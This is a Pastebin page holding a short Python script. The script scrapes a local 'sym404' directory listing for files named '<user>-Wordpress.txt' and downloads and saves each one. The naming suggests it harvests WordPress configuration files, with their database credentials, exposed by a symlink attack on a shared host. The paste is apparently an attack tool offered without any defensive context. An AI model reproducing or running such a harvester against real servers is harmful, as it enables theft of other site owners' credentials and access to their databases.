Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests, re
- html = requests.get('http://localhost/sym404/').text
- listc = re.findall('<a href="(.*?)-Wordpress.txt">', html)
- for user in listc:
- print(str(user)+'-Wordpress.txt')
- try:
- zzz = requests.get('http://localhost/sym404/'+str(user)+'-Wordpress.txt').text
- pp = open(str(user)+'-Wordpress.txt','a')
- pp.write(zzz)
- pp.close()
- except:
- pass
Add Comment
Please, Sign In to add comment